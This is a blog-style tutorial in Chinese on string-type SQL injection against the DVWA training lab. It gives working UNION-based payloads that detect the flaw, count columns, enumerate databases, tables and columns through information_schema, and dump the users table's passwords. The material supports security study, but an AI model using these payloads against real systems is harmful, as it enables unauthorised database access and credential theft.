热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

DVWA学习Sql注入笔记(字符型sql注入)

一.判断是否存在注入,注入是字符型还是数字型当我们在1之后加了一个引号,则会导致单引号数目不平衡,如何让引号闭合?

一.判断是否存在注入,注入是字符型还是数字型
当我们在1之后加了一个引号,则会导致单引号数目不平衡,如何让引号闭合?

(方法1)我们在原来的基础上再继续输入多一个引号,也就是“1””。
这时候我们看一下查询语句

select firstname,surname from users where id = '1''';


这时候得讲一个mysql的语法,
在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
我们来看几个例子。
第一个是和我们上面类似的sql查询语句
select * from users where user_id = ‘1”’;
第二个是来阐明我们这个优先级的,
select * from users where user_id = ‘1”2’;
可以看到,出来的结果还是和user_id=1一样。
我们再看一个长长的,
select * from users where user_id = ‘1”2”abc”efg’;
事实胜于雄辩,可以看到结果还是和上面的一样。

这里写图片描述

(方法2)第二种方法是使用“#”符号来注释后面的单引号
到时查询语句将会变成这样

select firstname,surname from users where id = '1'#';

(方法3)第三种方法是使用“– ”,这里注意了“–”后面有一个空格。在url当中,我们需要使用“+”来代替“–”后面的空格。
到时查询语句将会变成这样

select firstname,surname from users where id = '1'-- ';

我们回到我们的测试页面。发现出来的结果和输入1一样。
到这里我们可以知道了
[1]漏洞的参数是“id”
[2]漏洞的类型是字符型


二.猜解SQL查询语句中的字段数
三.确定显示的字段顺序
(方法1)分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。
构造的payload如下:

1' order by 1#
1' order by 2#
1' order by 3#

当输入到3的时候,发现它报错了。也就是字段数为2。

(方法2)第二种方法就是直接用union select来猜测字段数,因为当字段数不对应的时候,它也是会发生报错的!

1' union select 1#
1' union select 1,2#
1'
union select 1,2,3#

可以发现,当union select 1,2的时候没有报错,也就是字段数为2。同时,我们也应该注意到,好像返回的内容多了三条数据,这是啥呢?
这里写图片描述
这就是我们我们union select出来的数据了。我们获取数据的信息,就通过将1,2换成数据的信息,这样通过查看页面,我们便可以获得了!



四.获取当前数据库
字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!

获取当前数据库名字,当前用户名

1' union select database(),user()#

这里解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

好的,这里我们看到
当前数据库为:dvwa
当前用户名:root@localhost
这里写图片描述
类似的函数:version() 获取当前数据库版本

Tips:有时候,后面的select语句会限制输出的行数,通过limit 1,所以我们一般来说,都会让原数据库查询无效,也就是输入无效的id。
如下:

-1' union select database(),user()#

这样就只会返回我们的数据了。



五.获取数据库中的表

mysql有没有类似新华的字典的东东呢?
它的这本新华字典叫做information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。
在其中,有一个表长成这样tables。有一个表长这样columns。
是不是有点感觉了?
是的,tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。
对于columns,它有column_name,table_schema,table_name

回想一下,我们拥有的消息是数据库名。也就是说我们可以构造这样的payload

-1' union select table_name,2
from information_schema.tables
where table_schema= 'dvwa'#

你是不是想问,information_schema.tables是啥呢?
information_schema不就使我们的新华字典咯!这里我们使用一种语法,
“数据名.表名”
tables就相当于我们新华字典的目录,table_name是tables里面的字段。语句的意思就是,这里是一本新华字典帮我把数据库名为”dvwa”这个偏旁部首的字(表名)找出来。
这里写图片描述


六.获取表中的字段名
那之后呢?不是说还有一个columns表么?
那我们需要什么?需要table_name以及table_schema
那我们查什么呢?column_name
这次我们的构造的payload如下

-1' union select column_name,2
from information_schema.columns
where table_schema= 'dvwa' and table_name= 'users'#

这里说一下,倘若不指定数据库名为’dvwa’,若是其他数据里面也存在users表的话,则会有很多混淆的数据。
这里写图片描述

又来了,好多数据呀!
验证user,password吧!两个字段刚刚好!
好的,我们再次修改payload

-1' union select user,password from users#

这里写图片描述
就可以得到密码了。


推荐阅读
  • MySQL语句大全:创建、授权、查询、修改等【MySQL】的使用方法详解
    本文详细介绍了MySQL语句的使用方法,包括创建用户、授权、查询、修改等操作。通过连接MySQL数据库,可以使用命令创建用户,并指定该用户在哪个主机上可以登录。同时,还可以设置用户的登录密码。通过本文,您可以全面了解MySQL语句的使用方法。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 如何在php中将mysql查询结果赋值给变量
    本文介绍了在php中将mysql查询结果赋值给变量的方法,包括从mysql表中查询count(学号)并赋值给一个变量,以及如何将sql中查询单条结果赋值给php页面的一个变量。同时还讨论了php调用mysql查询结果到变量的方法,并提供了示例代码。 ... [详细]
  • 本文介绍了在MacOS系统上安装MySQL的步骤,并详细说明了如何设置MySQL服务的开机启动和如何修改MySQL的密码。通过下载MySQL的macos版本并按照提示一步一步安装,在系统偏好设置中可以找到MySQL的图标进行设置。同时,还介绍了通过终端命令来修改MySQL的密码的具体操作步骤。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • PHP设置MySQL字符集的方法及使用mysqli_set_charset函数
    本文介绍了PHP设置MySQL字符集的方法,详细介绍了使用mysqli_set_charset函数来规定与数据库服务器进行数据传送时要使用的字符集。通过示例代码演示了如何设置默认客户端字符集。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了在SpringBoot中集成thymeleaf前端模版的配置步骤,包括在application.properties配置文件中添加thymeleaf的配置信息,引入thymeleaf的jar包,以及创建PageController并添加index方法。 ... [详细]
  • 本文详细介绍了MysqlDump和mysqldump进行全库备份的相关知识,包括备份命令的使用方法、my.cnf配置文件的设置、binlog日志的位置指定、增量恢复的方式以及适用于innodb引擎和myisam引擎的备份方法。对于需要进行数据库备份的用户来说,本文提供了一些有价值的参考内容。 ... [详细]
author-avatar
mobiledu2502927213
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有